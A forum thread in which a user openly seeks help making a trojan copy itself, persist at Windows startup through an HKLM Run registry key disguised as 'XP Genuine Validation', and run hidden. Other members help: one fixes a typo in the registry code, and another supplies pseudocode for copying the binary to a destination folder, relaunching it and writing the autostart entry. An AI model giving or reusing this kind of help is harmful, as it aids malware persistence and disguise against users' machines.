+ Reply to Thread
Results 1 to 7 of 7
  1. #1
    Junior Member
    Join Date
    Dec 2009
    Posts
    7

    Question need help please!!!

    hi to all
    I want to make a copy of the server before it copies itself into the start-up, and it copies itself into the start-up (file name undefined)

    is the code I use but it does not copy

    Dim Startup
    Set Startup = CreateObject("WScript.Shell")
    Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"


    :'(

    and i want to make the process hidden and has not quit

    thinks to all

  2. #2
    Senior Member
    Join Date
    Jun 2009
    Location
    Philadelphia
    Posts
    1,522
    dint understand what u wanted exactly but theres a space in the code


    Code:
    Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
    try remove the space b/w ru and n

  3. #3
    Junior Member
    Join Date
    Dec 2009
    Posts
    7
    Quote Originally Posted by ~Fleck View Post
    dint understand what u wanted exactly but theres a space in the code


    Code:
    Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
    try remove the space b/w ru and n

    this ( ru n ) it is error of the copy

  4. #4
    Senior Member
    Join Date
    Jun 2009
    Location
    Philadelphia
    Posts
    1,522
    Quote Originally Posted by mokhtarone View Post
    this ( ru n ) it is error of the copy
    lol ok then that was a very simple bug ^^

  5. #5
    Junior Member
    Join Date
    Dec 2009
    Posts
    7
    Quote Originally Posted by ~Fleck View Post
    lol ok then that was a very simple bug ^^
    I want to copy the trojen ans make it in start'up :'(

  6. #6
    Member
    Join Date
    Dec 2009
    Posts
    44
    Then you should:

    Define DestinationFolder
    Get CurrentFolder

    If CurrentFolder <> DestinationFolder then
    You Copy the binary to DestinationFolder
    You launch the copy
    You end the Current Process
    Else
    You write the AutostartupRegistry
    end if

  7. #7
    Junior Member
    Join Date
    Dec 2009
    Posts
    7
    thinks

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.